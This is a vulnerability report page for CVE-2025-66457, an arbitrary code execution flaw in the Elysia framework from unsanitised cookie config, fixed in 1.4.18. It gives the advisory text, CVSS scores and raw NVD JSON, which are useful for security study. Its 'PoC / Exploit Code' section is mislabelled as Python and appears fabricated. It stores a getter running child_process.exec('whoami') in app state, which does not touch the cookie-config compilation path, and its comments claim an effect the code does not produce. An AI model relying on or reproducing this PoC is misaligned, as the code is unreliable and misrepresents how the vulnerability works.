Security Vulnerability Report
中文
CVE-2025-66457 CVSS 8.8 HIGH

CVE-2025-66457

Published: 2025-12-09 20:15:55
Last Modified: 2025-12-17 14:27:42

Description

Elysia is a Typescript framework for request validation, type inference, OpenAPI documentation and client-server communication. Versions 1.4.17 and below are subject to arbitrary code execution from cookie config. When dynamic cookies are enabled (e.g. there an existing cookie schema), the cookie config is injected into the compiled route without first being sanitised. Availability of this exploit is generally low, but when combined with GHSA-hxj9-33pp-j2cc, it allows for a full RCE chain. An attack requires write access to either the Elysia app's source code (in which case the vulnerability is meaningless) or write access to the cookie config (perhaps where it is assumed to be provisioned by the environment). This issue is fixed in version 1.4.18.

CVSS Details

CVSS Score
8.8
Severity
HIGH
CVSS Vector
CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H

Configurations (Affected Products)

cpe:2.3:a:elysiajs:elysia:*:*:*:*:*:node.js:*:* - VULNERABLE
Elysia <= 1.4.17

PoC / Exploit Code

⚠ For Security Research Only
The following code is for security research and authorized testing only.
python
// CVE-2025-66457 PoC - Elysia Framework Arbitrary Code Execution via Cookie Config // This PoC demonstrates the vulnerability in Elysia <= 1.4.17 import { Elysia } from 'elysia'; // Malicious cookie configuration that will be executed const maliciousCookieConfig = { value: 'test', // Inject arbitrary code execution get: function() { // This code will be executed when the cookie is accessed require('child_process').exec('whoami'); return 'malicious'; } }; // Vulnerable configuration - dynamic cookie with unsanitized config const app = new Elysia() .use((app) => { // Simulate dynamic cookie scenario // When dynamic cookies are enabled with existing schema, // the cookie config is injected without sanitization app.state('cookieConfig', maliciousCookieConfig); return app; }) .get('/vulnerable', ({ cookie: { session } }) => { // The malicious code in cookie config gets executed // during route compilation or access return session.value; }) .listen(3000); // Exploitation scenario: // 1. Attacker gains write access to cookie configuration // 2. Malicious code is injected into cookie config object // 3. When Elysia compiles routes with dynamic cookies, // the malicious code is executed without sanitization // 4. Combined with GHSA-hxj9-33pp-j2cc for full RCE chain console.log('Server running on http://localhost:3000'); console.log('Vulnerability: Cookie config code execution in Elysia <= 1.4.17');

References

Raw JSON Data

JSON
{"cve": {"id": "CVE-2025-66457", "sourceIdentifier": "[email protected]", "published": "2025-12-09T20:15:54.913", "lastModified": "2025-12-17T14:27:42.333", "vulnStatus": "Analyzed", "cveTags": [], "descriptions": [{"lang": "en", "value": "Elysia is a Typescript framework for request validation, type inference, OpenAPI documentation and client-server communication. Versions 1.4.17 and below are subject to arbitrary code execution from cookie config. When dynamic cookies are enabled (e.g. there an existing cookie schema), the cookie config is injected into the compiled route without first being sanitised. Availability of this exploit is generally low, but when combined with GHSA-hxj9-33pp-j2cc, it allows for a full RCE chain. An attack requires write access to either the Elysia app's source code (in which case the vulnerability is meaningless) or write access to the cookie config (perhaps where it is assumed to be provisioned by the environment). This issue is fixed in version 1.4.18."}], "metrics": {"cvssMetricV40": [{"source": "[email protected]", "type": "Secondary", "cvssData": {"version": "4.0", "vectorString": "CVSS:4.0/AV:N/AC:L/AT:P/PR:H/UI:N/VC:H/VI:H/VA:H/SC:N/SI:N/SA:N/E:X/CR:X/IR:X/AR:X/MAV:X/MAC:X/MAT:X/MPR:X/MUI:X/MVC:X/MVI:X/MVA:X/MSC:X/MSI:X/MSA:X/S:X/AU:X/R:X/V:X/RE:X/U:X", "baseScore": 7.5, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "attackRequirements": "PRESENT", "privilegesRequired": "HIGH", "userInteraction": "NONE", "vulnConfidentialityImpact": "HIGH", "vulnIntegrityImpact": "HIGH", "vulnAvailabilityImpact": "HIGH", "subConfidentialityImpact": "NONE", "subIntegrityImpact": "NONE", "subAvailabilityImpact": "NONE", "exploitMaturity": "NOT_DEFINED", "confidentialityRequirement": "NOT_DEFINED", "integrityRequirement": "NOT_DEFINED", "availabilityRequirement": "NOT_DEFINED", "modifiedAttackVector": "NOT_DEFINED", "modifiedAttackComplexity": "NOT_DEFINED", "modifiedAttackRequirements": "NOT_DEFINED", "modifiedPrivilegesRequired": "NOT_DEFINED", "modifiedUserInteraction": "NOT_DEFINED", "modifiedVulnConfidentialityImpact": "NOT_DEFINED", "modifiedVulnIntegrityImpact": "NOT_DEFINED", "modifiedVulnAvailabilityImpact": "NOT_DEFINED", "modifiedSubConfidentialityImpact": "NOT_DEFINED", "modifiedSubIntegrityImpact": "NOT_DEFINED", "modifiedSubAvailabilityImpact": "NOT_DEFINED", "Safety": "NOT_DEFINED", "Automatable": "NOT_DEFINED", "Recovery": "NOT_DEFINED", "valueDensity": "NOT_DEFINED", "vulnerabilityResponseEffort": "NOT_DEFINED", "providerUrgency": "NOT_DEFINED"}}], "cvssMetricV31": [{"source": "[email protected]", "type": "Primary", "cvssData": {"version": "3.1", "vectorString": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:H/I:H/A:H", "baseScore": 8.8, "baseSeverity": "HIGH", "attackVector": "NETWORK", "attackComplexity": "LOW", "privilegesRequired": "LOW", "userInteraction": "NONE", "scope": "UNCHANGED", "confidentialityImpact": "HIGH", "integrityImpact": "HIGH", "availabilityImpact": "HIGH"}, "exploitabilityScore": 2.8, "impactScore": 5.9}]}, "weaknesses": [{"source": "[email protected]", "type": "Secondary", "description": [{"lang": "en", "value": "CWE-94"}]}], "configurations": [{"nodes": [{"operator": "OR", "negate": false, "cpeMatch": [{"vulnerable": true, "criteria": "cpe:2.3:a:elysiajs:elysia:*:*:*:*:*:node.js:*:*", "versionEndExcluding": "1.4.18", "matchCriteriaId": "266B381F-64AA-41F0-8A22-782ABA8B5289"}]}]}], "references": [{"url": "https://github.com/elysiajs/elysia/commit/26935bf76ebc43b4a43d48b173fc853de43bb51e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/elysiajs/elysia/commit/3af978663e437dccc6c1a2a3aff4b74e1574849e", "source": "[email protected]", "tags": ["Patch"]}, {"url": "https://github.com/elysiajs/elysia/pull/1564", "source": "[email protected]", "tags": ["Issue Tracking", "Patch"]}, {"url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-8vch-m3f4-q8jf", "source": "[email protected]", "tags": ["Exploit", "Patch", "Vendor Advisory"]}, {"url": "https://github.com/elysiajs/elysia/security/advisories/GHSA-hxj9-33pp-j2cc", "source": "[email protected]", "tags": ["Not Applicable"]}, {"url": "https://github.com/sportshead/elysia-poc", "source": "134c704f-9b21-4f2e-91b3-4a467353bcc0", "tags": ["Exploit", "Third Party Advisory"]}]}}